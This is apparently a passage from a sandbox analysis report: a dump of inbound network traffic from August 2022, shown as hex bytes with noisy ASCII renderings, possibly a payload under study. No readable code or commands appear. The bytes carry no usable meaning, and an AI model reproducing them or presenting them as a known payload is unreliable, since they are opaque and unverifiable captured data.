82 66 1a f7 0c 70 cb c5 70 ab 08 d9 8d b5 a6 45 87 99 cd e6 6d 2e 5a 39 49 a9 66 b5 fa cd 5f 5d 8a 90 ef 88 22 76 03 33 02 fa d8 74 5d ac a9 66 6b 52 f0 97 a7 a2 b6 84 e2 df 71 c3 bb e6 00 Data Ascii: [.Jpqxoher[hFh`_J\ECYy'7r}M/H`~Zz"6xY4h/.\|'QU6.b/6A>YfppEm.Z9If_]"v3t]fkRq
2022-08-23 01:43:52 UTC	668	IN	Data Raw: d6 03 99 d5 f3 04 9f f1 d1 21 ab d2 b1 db e2 27 d0 70 1f 12 7a 02 bc 66 d6 03 b3 bb 56 7c d2 50 13 d0 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 a6 12 9e 29 20 c2 a4 18 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 15 8e f5 50 5e 48 f9 9b 19 d2 f3 32 23 9f 08 e9 fc 17 0e 7a f9 35 68 a3 53 0a 17 8a aa 12 3e bf 1f 12 7a 02 bc 66 d6 03 a9 74 b4 60 85 39 61 51 84 01 8d c0 5a 09 54 4d de 6f 61 05 28 8e 52 77 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 a6 12 9e 29 20 c2 a4 18 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 a6 12 9e 29 20 c2 a4 18 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 a6 12 9e 29 20 c2 a4 18 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 a6 12 9e 29 20 c2 a4 18 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 a6 12 9e 29 20 Data Ascii: !'pzfV\|P_.I"1zf) _.I"1zfP^H2#z5hS>zft`9aQZTMoa(Rw_.I"1zf) _.I"1zf) _.I"1zf) _.I"1zf) _.I"1zf)
2022-08-23 01:43:52 UTC	684	IN	Data Raw: 96 b8 08 d9 8d b5 a6 45 87 99 46 c1 7b 09 47 55 3c 11 d9 de 16 5d f4 53 77 66 45 56 13 91 a7 9c 04 e3 17 6e fc 85 fe 5d 4b a6 aa 10 87 54 bc c3 f9 ce c4 d0 da 71 b7 96 65 46 d0 1f 40 7c 64 23 43 10 db a6 15 7f 56 a1 dd 79 5d 23 5f d7 09 2a 92 a8 ef b7 d8 ac 8f c3 e0 70 0d 40 f6 85 a0 de cd 7b 1f 12 7a 02 bc 66 d6 03 71 9e 1e 59 7f 5a 79 65 4f de e1 89 7e a4 74 eb 13 5a fa e4 aa 2d dc f0 e3 0d ed a5 15 51 c4 4e 9a f6 1a 0c 19 da fd 72 2b 91 9a e7 68 4f 15 3c 09 1e e6 b5 a5 e6 7f 3d 8f 24 16 a4 32 29 df 77 40 d6 0d e8 1e bf b7 f7 08 c0 12 ac 1e 2a 8d 8a 36 da d3 4f 4e ca 69 27 fa c8 51 53 d7 0a b8 87 d0 f5 af ea bb 93 71 3f 6c d5 52 99 10 82 90 7b 54 91 db f5 df b5 ca 99 43 ac e4 9d ed 0b 08 d4 c7 0e 45 f5 06 a6 3d 60 75 9c 47 2a d6 94 60 11 11 8c 99 e1 2f Data Ascii: EF{GU<]SwfEVn]KTqeF@\|d#CVy]#_p@{zfqYZyeO~tZ-QNr+hO<=$2)w@6ONi'QSq?lR{TCE=`uG*`/
2022-08-23 01:43:52 UTC	700	IN	Data Raw: f7 81 23 af 8b cf 46 ab 47 6b 2c 91 e7 ae 84 ff 2a ab b6 48 e7 23 5b 71 17 a4 f0 8f c5 36 52 7d a2 19 3f 1f 30 bf 65 e9 2e f1 ac 94 a0 cf c3 20 07 12 6a 8d d0 24 b7 3d 91 fd c9 dc b8 86 da b8 4d 26 07 d8 79 fe 5c 2a d8 1f 34 6b de 48 c6 54 cc f7 cc d4 b4 a7 b2 b6 40 1c c1 4a a4 d9 d9 dd ae 0e 43 44 ab 6d e6 f1 12 f7 b2 ac fe 7b 00 7d 31 50 9a a5 9e aa 62 5d ee ca 37 72 8e 1b b3 7d 4d f1 44 e0 94 4e e7 f0 da 99 bc 35 3e 32 af e6 52 96 d6 f0 6c e7 d7 6d 47 77 a9 89 0a f0 b9 a3 6e cd 4d 60 97 e2 e2 86 cb 24 45 56 13 91 a7 9c 04 e3 ec 67 ac f5 af e1 da 67 a2 91 f1 07 8c 35 b7 15 60 9e 66 07 a0 78 17 0e 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 ab d2 b1 db e2 27 d0 70 82 26 26 d9 01 24 d6 3d 0d 40 f6 85 a0 de cd 7b 88 e9 58 1e 93 8a c7 fd 53 0a 17 8a aa Data Ascii: #FGk,H#[q6R}?0e. j$=M&y\4kHT@JCDm{}1Pb]7r}MDN5>2RlmGwnM`$EVgg5`fx_.I"1zf'p&&$=@{XS
2022-08-23 01:43:52 UTC	716	IN	Data Raw: d0 70 1f 12 7a 02 bc 66 d6 03 36 7f 36 f6 78 04 83 10 ab d2 b1 db e2 27 d0 70 1f 12 7a 02 bc 66 d6 03 9c a8 23 bf f7 d9 44 1e a2 7f df 4d 4c 0f 6f 23 be 45 3d cd db a2 48 3e 40 44 10 19 80 2a 2c e9 30 c2 d5 fa 1c e7 07 bc 40 44 10 19 80 2a 2c e9 a9 df bf b5 a6 01 29 f4 63 ed ee 48 e0 e5 c9 2e 7b 95 22 82 07 d0 0b 06 f7 56 a9 6f 4b 9c 0c 62 d6 06 8f d2 9d 29 fb db 11 19 34 e1 10 bc ff 14 db 92 be 76 a3 6b 1d 91 9a 32 32 62 1c 92 53 be b4 f7 a4 16 4f 09 02 5e c4 1f 8b 5e ec 62 f3 41 11 41 22 2c b4 92 a1 a2 61 22 2f c5 5a 16 be 36 18 85 ce d0 e4 9b 54 bc 07 76 06 c4 e1 d9 a7 08 ab f2 56 85 85 b9 04 00 d9 01 3b c8 27 07 e3 9e 02 88 b3 a3 5e b4 a4 f0 7f 59 45 d4 0e e4 f5 d0 52 01 73 e3 e2 c4 9f 2e d4 51 af 67 d1 e6 05 c8 ae 25 f0 ac bc 33 98 b0 31 0a b2 34 c9 Data Ascii: pzf66x'pzf#DMLo#E=H>@D,0@D,)cH.{"VoKb)4vk22bSO^^bAA",a"/Z6TvV;'^YERs.Qg%314
2022-08-23 01:43:52 UTC	732	IN	Data Raw: 12 44 ec 8f 08 29 7d 0b 6c eb 37 72 8e 1b b3 7d 4d f1 7f 37 8a 42 cc 24 cb 7e 33 18 de 62 e1 b7 61 65 af 5c ab d1 85 cc c7 35 ae c2 eb ce 1b 71 8b a1 67 7b f9 fb e5 8b 75 46 d7 9d 84 80 3c 47 d3 77 5c 05 04 79 7a f0 da cb 7f 35 f9 99 cf 8f be 6e 22 16 61 5e 94 5a e3 ce 18 98 27 5f e0 bb 22 78 44 7c af 87 1e 3e d9 d0 73 09 95 63 ea 5e db 91 1d 39 00 fc d5 7c 94 26 aa 1a 0b cd 4c 38 9e 89 e1 46 85 88 f0 6d 57 79 97 5c c2 26 16 6b 33 03 d6 73 b0 b7 33 bd 48 72 b6 3d 03 5f a0 ab b2 cb 1f 91 3c d0 72 84 ba 43 37 72 8e 1b b3 7d 4d f1 a1 cc 11 47 21 26 7a 1f b0 20 5f 33 2e 60 f7 eb 85 42 74 c6 99 32 94 ca a6 22 e1 db 84 e9 28 ae 15 35 7e d8 53 6d 9e b8 28 02 75 c1 b6 d8 64 10 64 14 92 4e 1d 99 90 7b 82 9f 0a b7 31 bc 13 26 39 e4 ae f1 a3 c4 9c 1f d4 5b d3 c5 91 Data Ascii: D)}l7r}M7B$~3bae\5qg{uF<Gw\yz5n"a^Z'_"xD\|>sc^9\|&L8FmWy\&k3s3Hr=_<rC7r}MG!&z _3.`Bt2"(5~Sm(uddN{1&9[
2022-08-23 01:43:52 UTC	748	IN	Data Raw: 92 61 ae 57 5d 1a 88 60 3e f2 4d 08 56 7f a7 8d 9d 6e ad b0 6f a6 bc a2 2a ba 5d b9 5c b1 64 75 c0 75 9c 30 48 4a e5 57 1b b8 e0 1a c9 fc d1 76 5d 7d d3 7f 53 e3 27 c1 26 00 cb 89 7a 86 9c e7 16 3d 92 b9 f6 c8 99 c3 dd 1a 15 16 86 2d d2 9a 13 ba 82 4f ff ee c1 35 d5 ec 88 1a 28 78 23 fb 9c ad ae d4 00 a8 67 9e 42 e0 d2 be 4f 4b be 91 96 37 99 ae 4b ed 45 b8 62 1b 13 03 11 08 49 ab f4 30 da b2 1f be a1 f1 4a f9 aa de 15 de a1 39 75 10 9f fb 04 01 e8 e3 c0 2d 58 44 fb 7f 91 ff b2 76 37 98 40 70 1e a5 6f b6 e6 43 a0 b9 8b 11 c4 ed e7 ee 75 6d 82 eb 0b 0b 01 1d a7 6f 9a 83 5b 94 fe c2 bb 7c 1b 31 63 62 39 31 8d 41 ae f6 d3 91 a0 e9 a7 d0 5c 38 ea a7 a4 f2 9e f7 d3 6d c9 6e 69 0f 09 29 ef 03 e6 6c 1a ed c0 65 5b 8c 67 a6 91 06 d3 cc 67 06 37 1a 43 d8 98 1d 0a Data Ascii: aW]`>MVno*]\duu0HJWv]}S'&z=-O5(x#gBOK7KEbI0J9u-XDv7@poCumo[\|1cb91A\8mni)le[gg7C
2022-08-23 01:43:52 UTC	764	IN	Data Raw: ea ce 9e 1d b7 5b 6f ff 92 bc e2 bf 6a 95 4b c4 37 8f c4 a3 ee f7 6d 6a ce 9d 11 8d cf a1 4c fa 90 9e ff 8f d3 34 10 f2 99 79 e9 da d5 6d 4a 2a db 98 89 f5 cb f5 61 d7 49 42 c3 10 40 1d c3 21 ff 6d 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 8f ce e8 c9 ce f3 2d c2 19 08 1f c2 bd aa db 91 5e c4 e3 34 82 a3 3e e2 53 6a dc 44 a1 f0 15 ce 3b 95 12 43 ce 28 21 ef ce e0 17 e7 e5 b1 2e bd e0 15 26 f8 6b 63 0b 46 eb f9 e3 d2 76 a4 1a 04 00 df aa 64 1e 87 02 22 45 a0 bd 0b 40 16 7f 32 11 1e 43 07 3a 1c cf f9 d4 ff a0 5c 9e 69 65 29 d7 2b 26 ea 4f db 45 eb a2 9a 08 f5 9e f5 85 e8 ee c8 dc 9f 43 a8 6d bb e9 98 f4 96 68 06 d3 b3 4a 23 77 e1 29 02 15 5f 6c c7 b3 2d 5a 33 72 9b 53 0a 17 8a aa 12 3e bf 1f 12 7a 02 bc 66 d6 03 a9 74 b4 60 85 39 61 51 b7 7e 51 36 cf Data Ascii: [ojK7mjL4ymJ*aIB@!m_.I"1zf-^4>SjD;C(!.&kcFvd"E@2C:\ie)+&OECmhJ#w)_l-Z3rS>zft`9aQ~Q6
2022-08-23 01:43:52 UTC	780	IN	Data Raw: 21 ef d8 de 87 80 6a 1f 07 9e dc 8b e7 11 19 eb 7e 41 59 d4 dd 45 34 bc 3f c7 e6 43 a0 b9 8b 11 c4 ed 33 50 29 2e 86 43 7d 97 11 1e 43 07 3a 1c cf f9 b9 40 4e d9 13 86 e2 b1 a9 54 01 82 2c 61 b8 aa 37 72 8e 1b b3 7d 4d f1 6b 8d 5f a8 1c 09 5e 01 33 18 de 62 e1 b7 61 65 f9 5a bc 4b 9e 7a a9 1d 14 31 21 5f ad 03 48 60 0d 40 f6 85 a0 de cd 7b 88 e9 58 1e 93 8a c7 fd 53 0a 17 8a aa 12 3e bf 1f 12 7a 02 bc 66 d6 03 a9 74 b4 60 85 39 61 51 98 f6 69 77 47 35 69 7e de 6f 61 05 28 8e 52 77 88 90 be 22 5a fb fd 99 0b b8 8b d0 24 e5 ed 0a 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 a6 12 9e 29 20 c2 a4 18 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 ac 04 44 6f 08 53 1a e4 0a 73 8a 5d ea 4d b1 22 dc 03 aa 4a bd b8 4c 7e 10 21 44 8d 97 14 0f 73 5b c9 ae f6 86 Data Ascii: !j~AYE4?C3P).C}C:@NT,a7r}Mk_^3baeZKz1!_H`@{XS>zft`9aQiwG5i~oa(Rw"Z$_.I"1zf) _.I"1zfDoSs]M"JL~!Ds[
2022-08-23 01:43:52 UTC	796	IN	Data Raw: b9 e1 8e 24 9b 69 b2 02 c1 fd 29 5b 2a e6 8a 25 86 b9 ba 9c 87 b9 5c fe 84 ce 45 17 89 e7 81 9c 2d ab 24 38 38 47 e6 15 e5 a6 80 1f 47 41 7c 0b 79 34 23 9c d7 58 80 56 59 3e a4 c6 56 c8 41 3c f2 30 e1 6d 07 e1 38 11 cc fd 32 48 91 e5 98 8c 1d d1 5e 7f 8a a0 52 cd 41 95 7f 7b 23 4b 1a bf 16 9b 7d 31 34 1a d3 26 72 5e 00 ee d3 a0 de 10 28 f5 3e c2 58 7b 16 f1 95 64 e2 ee ca 8d 31 7d 69 9c c3 5d ec 8d d1 8d fc e7 db 8a c4 f8 fb 43 64 4f 5e 45 3f 36 41 ab 70 87 2c 96 34 f4 d3 9b b9 86 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 82 f2 68 56 6a 47 a6 10 6e 59 18 1c d2 61 60 72 74 ca 97 6c 4b 9f 48 9f dc 00 16 cf ba c1 46 e0 49 2f d8 7d 77 47 f8 1f 2c 7c a3 27 89 7d d6 e2 0f 23 cb d7 0b b2 fd 58 f1 b6 5b 6f b4 29 14 9c ba 38 02 2d 9d eb 33 13 35 40 00 f6 53 Data Ascii: $i)[*%\E-$88GGA\|y4#XVY>VA<0m82H^RA{#K}14&r^(>X{d1}i]CdO^E?6Ap,4_.I"1zfhVjGnYa`rtlKHFI/}wG,\|'}#X[o)8-35@S
2022-08-23 01:43:52 UTC	812	IN	Data Raw: d6 03 6a ab 4c f1 2d 6f 1b 7d 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 ab d2 b1 db e2 27 d0 70 1f 12 7a 02 bc 66 d6 03 b3 bb 56 7c d2 50 13 d0 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 e6 91 b6 40 0a e5 17 39 ab d2 b1 db e2 27 d0 70 d2 f6 7b f4 1c 80 8b e2 ab d2 b1 db e2 27 d0 70 1f 12 7a 02 bc 66 d6 03 36 5b ac a8 85 6f bf 07 c0 b6 ca 37 12 6d 3d d1 c0 83 05 e2 63 c0 73 7c 7f c5 c1 4f 3f e8 48 bc 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 0d 40 f6 85 a0 de cd 7b 1f 12 7a 02 bc 66 d6 03 99 d5 f3 04 9f f1 d1 21 ab d2 b1 db e2 27 d0 70 1f 12 7a 02 bc 66 d6 03 b3 bb 56 7c d2 50 13 d0 02 ce 8d 07 0c 61 94 bf 0b b8 8b d0 24 e5 ed 0a 88 90 be 22 5a fb fd 99 0b b8 8b d0 24 e5 ed 0a 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 e7 c1 ec f6 52 Data Ascii: jL-o}_.I"1zf'pzfV\|P_.I"1zf@9'p{'pzf6[o7m=cs\|O?H_.I"1zf@{zf!'pzfV\|Pa$"Z$_.I"1zfR
2022-08-23 01:43:52 UTC	828	IN	Data Raw: 68 b9 a8 c9 b5 36 a8 bb 97 4c 8f a6 e8 a6 75 5c cb 55 81 31 e8 5a 7b 10 14 8e 49 d1 db fe 3b d4 6d 2e ca 0a 52 a4 b2 18 99 78 ae 57 5d 1a 88 60 3e f2 a6 07 a8 c2 62 2e af cb f1 2c 96 5d f6 60 17 4f 1f 86 0e c1 8f 23 30 5a 0d 40 f6 85 a0 de cd 7b 1f 12 7a 02 bc 66 d6 03 72 e2 26 4c c9 d9 0e ef dd 9f d8 16 61 03 56 54 bc 82 1f 79 1d c6 4b 25 ed d4 10 89 11 94 76 72 09 7f e9 ce 1f eb 1a bb 09 df ff 5f a7 d9 2b 26 ae 57 5d 1a 88 60 3e f2 31 6e fd 79 f7 0d 87 17 5b 76 68 78 9e 71 72 3b 07 86 a2 d1 77 5e b5 7b 0d 40 f6 85 a0 de cd 7b 1f 12 7a 02 bc 66 d6 03 6c 6f 97 e8 d3 11 1d 85 29 c4 a5 cd 29 09 80 2b 08 2c 25 49 6b ad 68 b9 e2 9f d5 d9 9e 20 64 17 8f a6 e8 a6 75 5c cb 55 c7 bb 98 ba e3 09 13 2e d8 03 10 72 9b 85 d0 de fe 7c 00 72 c7 50 c0 0e ee c8 dc 9f 43 Data Ascii: h6Lu\U1Z{I;m.RxW]`>b.,]`O#0Z@{zfr&LaVTyK%vr_+&W]`>1ny[vhxqr;w^{@{zflo))+,%Ikh du\U.r\|rPC
2022-08-23 01:43:52 UTC	844	IN	Data Raw: 99 d1 01 2b 02 ae 04 25 e5 e8 a0 34 ec 7b 49 a5 54 8e 57 e2 81 47 91 a4 e5 a3 43 e9 c9 72 32 ab d9 af f1 7c d3 f4 62 19 af d7 4e 88 02 9f 95 bf a7 14 1f 12 7a 02 bc 66 d6 03 ef 9e 8d bc 86 bb 00 1b 6c 3d c6 35 4b 69 10 ce 52 4f dd c3 1f 28 9c b5 22 6b 8d 9b 9a 11 b9 02 81 7a 70 68 db 7f 40 af e6 24 6a fc 05 68 e4 e9 06 94 24 19 2f 83 0e c3 8d 18 f8 f8 be b3 41 14 c7 25 49 33 57 f1 fc b8 bc d9 d5 27 28 f0 e6 5b c4 1f 33 2a 92 39 5a 86 b9 9b 79 a9 1f 9c 8a 5d 7b e6 a7 23 cf 7c 2e e3 6f 12 f4 ce 42 f7 04 46 1e 63 df 0e 79 30 42 0f 73 1e 1f b4 a4 4f c2 a6 8f a6 e8 a6 75 5c cb 55 31 28 ce 2e 3f e5 ac 9e 5a 22 5f f8 a2 fe 18 36 d2 0b 84 79 62 36 7c 45 d8 59 ca f2 66 27 d3 a7 80 e7 c1 53 3d a4 74 ea 33 1d 4b 22 5b 40 c9 15 34 3a 6a 82 cc 53 73 65 f6 eb c1 db ba Data Ascii: +%4{ITWGCr2\|bNzfl=5KiRO("kzph@$jh$/A%I3W'([3*9Zy]{#\|.oBFcy0BsOu\U1(.?Z"_6yb6\|EYf'S=t3K"[@4:jSse
2022-08-23 01:43:52 UTC	860	IN	Data Raw: 22 31 1f 12 7a 02 bc 66 d6 03 4e 88 02 9f 95 bf a7 14 1f 12 7a 02 bc 66 d6 03 b3 bb 56 7c d2 50 13 d0 02 ce 8d 07 0c 61 94 bf 0b b8 8b d0 24 e5 ed 0a 4e 5f 59 12 b2 c9 c3 5c 0b b8 8b d0 24 e5 ed 0a 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 d9 7f ac 53 74 a4 ff b3 41 05 3a f1 a0 42 bb 7e c8 7e 86 f0 1f 91 65 3c ee c8 dc 9f 43 a8 6d bb 5b 62 c7 a6 30 36 1d f3 ce c4 75 33 ef 31 46 0c c0 e2 f3 6c de c9 93 64 a5 24 2a 6b 2d ab 3d dd e9 9c 8e 33 c1 e6 44 09 d1 0c 9a 46 42 81 8c ea 7f ed 50 9e 74 3d 03 d8 e3 4f a5 80 40 ff 4d 66 84 e3 f9 0a 31 31 59 22 d7 07 19 bb be 83 76 6e a5 26 2e b5 76 2f a7 6e 08 97 33 4c f1 59 41 46 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 2e 12 2a 23 d3 8f d3 b2 4b e4 a2 d8 4b 71 bf 42 8f ce e8 c9 ce f3 2d c2 19 08 1f c2 bd Data Ascii: "1zfNzfV\|Pa$N_Y\$_.I"1zfStA:B~~e<Cm[b06u31Fld$k-=3DFBPt=O@Mf11Y"vn&.v/n3LYAF_.I"1zf.#KKqB-
2022-08-23 01:43:52 UTC	876	IN	Data Raw: 5a 1b 45 c9 21 a3 5f cd d2 4e dc d7 fc 60 68 de f0 1a 83 30 b9 39 25 91 76 62 db 23 6d 58 b2 2a cf 9a f6 70 25 cf be 87 af 57 d8 79 24 00 f5 9b 01 24 d3 a9 bc 09 82 14 1e 22 be d1 d4 d7 e3 25 65 42 31 9c 77 ff e0 b0 0a 29 92 f3 e0 43 dd f2 30 8e 11 ad 8f c0 04 60 3e 76 53 0a 17 8a aa 12 3e bf 1f 12 7a 02 bc 66 d6 03 00 3d e4 82 3e 9c ab 5b 2a 94 a2 e7 11 ec 84 ef 42 6b 2b 45 50 18 83 9e 6c 09 78 ab 0c 01 b1 d0 4b ed a6 a4 72 74 f7 bb 6a 7b 63 5b b2 39 e5 17 22 a6 0d 84 69 38 81 a8 07 25 e7 3c 82 60 16 e3 85 0a 2a bd 20 7b db ed 0c 6c a6 44 ad 80 b7 64 9b 95 15 a1 3f 3b e5 4f 67 9d 0c b9 6a 1b 02 16 b2 27 c6 2b 0b 81 00 a6 73 61 f6 4e 3d be 80 86 be fe 6c 62 08 2e 28 56 a4 84 ad d0 6a fd 93 17 78 c0 eb 30 e8 7b 29 25 7d 6a 7f 71 2c 5b 19 54 f4 db f9 3c 87 Data Ascii: ZE!_N`h09%vb#mXp%Wy$$"%eB1w)C0`>vS>zf=>[Bk+EPlxKrtj{c[9"i8%<`* {lDd?;Ogj'+saN=lb.(Vjx0{)%}jq,[T<
2022-08-23 01:43:52 UTC	892	IN	Data Raw: 46 63 95 ba af d1 74 f4 6c 12 26 01 03 8d d8 20 d9 79 7b 27 16 d1 c5 2d c8 15 db e5 8d 4d 6f 19 92 dc 54 9f d6 8f 12 f6 d0 03 b0 15 be 13 77 af e9 d6 61 cb 20 76 4e c8 ed 05 df c5 75 9b ea 93 2d d3 cc 6e 03 0e a8 9c 0b f6 16 56 a6 b2 e9 21 05 df e0 36 fa 21 a5 14 e3 d3 82 49 59 50 3d 43 6f 77 75 de c8 36 e0 0e ee cc 75 3d 69 43 99 aa 51 b1 99 8b 3b ea f3 c3 e0 24 f8 15 28 d1 8c c4 d4 67 48 3d 83 8e 68 f4 d5 0f 21 be d3 16 5f ff 43 e9 4d fd 37 d2 f7 84 c3 d7 01 e6 0d 3e 6b 80 23 93 e4 67 0e 39 c1 72 c8 8a b4 ae 15 8d 83 df 5c 32 c2 60 cc 9d f6 c7 5a 1e 45 56 13 91 a7 9c 04 e3 8a cd 04 01 c9 7a bf e2 9a 34 c2 dd 59 47 86 fc 46 3d 3e 74 c9 27 d0 ff 82 1e 6a 29 b3 06 c4 d5 96 1d da d9 0e 1b 8c 0a 8e a4 c9 bf ba 0f ef 44 2d 2d 5c 8f 48 30 15 ef cb 21 ca fb f2 Data Ascii: Fctl& y{'-MoTwa vNu-nV!6!IYP=Cowu6u=iCQ;$(gH=h!_CM7>k#g9r\2`ZEVz4YGF=>t'j)D--\H0!
2022-08-23 01:43:52 UTC	908	IN	Data Raw: fc e4 37 72 8e 1b b3 7d 4d f1 f5 dd 6d 06 58 2a f8 e7 33 18 de 62 e1 b7 61 65 f8 34 e3 fc 73 69 3c 0b ea ea 77 23 01 92 a1 81 1c e3 a2 2b a9 37 05 b2 a5 db 3e f3 ee 5a b9 81 a8 97 b0 a2 92 99 ea d5 9d fe 00 f9 a3 3f b4 6a 23 02 aa 44 c1 07 9c 1f f6 34 7e 97 a3 66 f6 2c 25 83 ed 3d 24 90 e9 eb 02 61 ae bc cc 90 fc e2 1c 63 cd c7 f7 22 0f 63 20 ac 44 8d 52 de 45 e1 42 67 94 02 69 ba a5 88 ae 57 5d 1a 88 60 3e f2 0c e1 47 52 5b c3 97 b7 ee c7 8b 35 71 b1 a4 0b 78 9b 16 91 a8 1c 41 08 54 81 b7 01 0c a5 63 5d 81 d4 a2 6a 12 5f 95 ea 1a 35 19 cc 00 4f 84 02 d4 f2 87 8b 28 24 6a 6c 37 72 8e 1b b3 7d 4d f1 3e 56 50 4a 3f 78 8e 8f 33 18 de 62 e1 b7 61 65 6c ed 07 c9 b0 04 1d b7 a6 22 e1 db 84 e9 28 ae ee c8 dc 9f 43 a8 6d bb 40 e9 27 41 a0 32 c6 7b 22 ac 2e ec 6f Data Ascii: 7r}MmX*3bae4si<w#+7>Z?j#D4~f,%=$ac"c DREBgiW]`>GR[5qxATc]j_5O($jl7r}M>VPJ?x3bael"(Cm@'A2{".o
2022-08-23 01:43:52 UTC	924	IN	Data Raw: 7d 77 65 67 6a b8 2f 50 ac b4 ab d2 b1 db e2 27 d0 70 1f 12 7a 02 bc 66 d6 03 32 40 6d ff ce 0f 5a 04 83 6d 70 b5 22 56 05 8d df 04 87 40 23 ea 76 1a 69 a8 07 e8 06 71 a2 8b ad e9 be c3 ac a9 59 33 04 84 93 82 b1 99 24 a9 69 e1 13 99 73 83 2b 22 ed a1 c2 82 d0 8f 03 1c 76 9b 28 8c 6d 66 2a e1 36 58 0a fb 87 2e cf 26 d7 40 8d 7e 70 97 df 37 cb 63 93 41 be a7 94 11 5e fd 05 c2 d2 08 54 26 ef 77 99 41 d8 75 1d 90 46 31 f2 90 56 d3 e5 2d f3 23 f3 76 48 af 6b f5 b4 40 81 01 84 b9 81 e3 25 aa af a9 98 e6 38 23 9e e3 92 7c a9 05 38 c6 9c 1b d6 7e a4 2e 5a 2f ee bd 8d c5 d4 f9 1f 28 90 20 0d 30 f2 95 5b d9 6c 07 f8 9a aa 14 87 f8 4c 00 0c 07 db 64 3d 1d 27 77 66 0b 7a 4f 03 ff 8e 5e 72 e0 97 1a ba 8b 1b 4b c7 1f 23 c3 71 85 34 d3 f9 a2 c5 93 1a 98 df ad f4 cd 69 Data Ascii: }wegj/P'pzf2@mZmp"V@#viqY3$is+"v(mf*6X.&@~p7cA^T&wAuF1V-#vHk@%8#\|8~.Z/( 0[lLd='wfzO^rK#q4i
2022-08-23 01:43:52 UTC	940	IN	Data Raw: a0 6b 43 df 8f 08 9c 1c 6b 2d d2 60 aa af 64 ec c5 62 88 0c 42 37 54 f5 0e 8c 2f 19 81 ab dd 5a ba a9 b6 dd 65 3e 64 6c a8 92 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 22 81 d8 df 2b a3 63 8d 88 06 98 63 c4 40 ce c1 5c 60 7f 50 2a ae 10 84 43 22 e8 f7 e9 db 2f 2d 9a 45 50 ce aa 3c 40 5c 49 47 df 7a de e1 54 2f 00 1e e8 3d f1 a5 91 b5 4a c9 51 de 3b d4 b7 0b c2 75 19 c6 b2 03 89 ae 20 50 2b 25 5c c9 5f be bc a1 25 89 60 4a c5 45 27 6f 67 d2 c4 0a 16 4d 54 cc a7 f2 42 de 48 34 8f ce e8 c9 ce f3 2d c2 19 08 1f c2 bd aa db 91 5e c4 e3 34 82 a3 3e e2 53 6a dc 44 a1 f0 15 ce 3b 95 12 43 ce 28 21 ef 73 c0 0b d5 58 d9 65 ea 63 92 9a 96 ba e7 67 f1 38 67 d4 88 b7 2a dd 0a 3c 3c f2 8c c6 f0 c5 3f be dc 61 22 ec 94 3e 9b 35 ea ac a2 1b 96 19 af c7 55 70 9b c2 Data Ascii: kCk-`dbB7T/Ze>dl_.I"1zf"+cc@\`PC"/-EP<@\IGzT/=JQ;u P+%\_%`JE'ogMTBH4-^4>SjD;C(!sXecg8g<<?a">5Up
2022-08-23 01:43:52 UTC	956	IN	Data Raw: 27 93 1e 68 8f 48 8c e8 63 bd 65 8e ac 74 49 23 f6 38 b6 a9 d9 d9 ef d5 42 b7 2d 1a a7 ff bb a1 97 d1 7e b5 a0 da 82 1d d5 a1 a5 53 67 65 7d a4 b8 e4 07 ee ad d4 cf 4d 42 74 0f 49 84 46 d9 86 7a dc 81 63 37 2b 34 37 8f e7 46 1c d7 5a dd 2b 2b 11 a4 a6 98 e1 0a 2a b6 79 34 0e df 12 66 7c aa 85 df 30 ce 0a 75 74 44 53 6e b9 ed bb 9b 2f 80 8a bd 59 62 f0 56 88 79 3d 22 7a 1d 8c 5e 1c 3f 1f 45 56 13 91 a7 9c 04 e3 0e 7f 7b 58 00 12 47 06 a2 7c 9a c0 e5 3d 93 f3 a9 61 7b 87 68 d2 18 98 b2 23 53 0b 85 8d 03 3e 54 9f 9a 95 29 0d d7 75 e5 6f a8 1c 8e 2c 75 a3 c4 a3 ee f7 6d 6a ce 9d 61 79 c6 80 02 2f 81 fd ae 0e 1b 63 56 e8 87 70 88 6a 5c ea 85 41 75 01 3e 91 9b 05 69 a8 b5 98 9c 61 45 db 43 50 da 7d 0e b7 9b 33 38 31 26 9f 6a a2 ba 44 ba 17 ec 7f ab d2 b1 db e2 Data Ascii: 'hHcetI#8B-~Sge}MBtIFzc7+47FZ++*y4f\|0utDSn/YbVy="z^?EV{XG\|=a{h#S>T)uo,umjay/cVpj\Au>iaECP}381&jD
2022-08-23 01:43:52 UTC	972	IN	Data Raw: 2c 26 63 9f 4c 9e 7a 75 2a 02 c0 e4 b1 11 8c e6 0d 4d 93 42 60 35 57 d5 53 34 38 d6 5b 47 0c 26 51 4a 9e c0 20 57 5d 91 af 86 27 20 7a fc c7 48 e9 3c 5d e9 84 23 87 4a 6c be fa 74 62 a1 3b 40 73 ee ac d7 99 cf f0 2b 6c 18 98 f8 3e e5 36 e5 ab 9e a8 2d 27 fb ff 14 8f 23 a9 56 e1 2f 49 64 3b bc db ca 72 c9 58 14 27 9e 32 1e f0 9d 2c 77 8f 57 8c 35 55 71 af 6e 78 f3 7e 27 d6 91 22 92 4a ca a8 55 06 ef 5b 1f 81 43 14 99 59 53 26 13 1b f2 0b f0 d3 b0 43 59 9c 68 f9 dc 64 72 a2 d6 f4 2b 66 f4 87 01 c1 56 60 ed 86 32 7e fa 9d d5 ec 16 45 56 13 91 a7 9c 04 e3 7c 9e 0e be 58 36 a6 f4 0c 0a 95 a9 56 51 f1 e8 29 89 ae d3 28 31 57 3f c2 dc a2 29 e6 7f 4b 0e cf 81 20 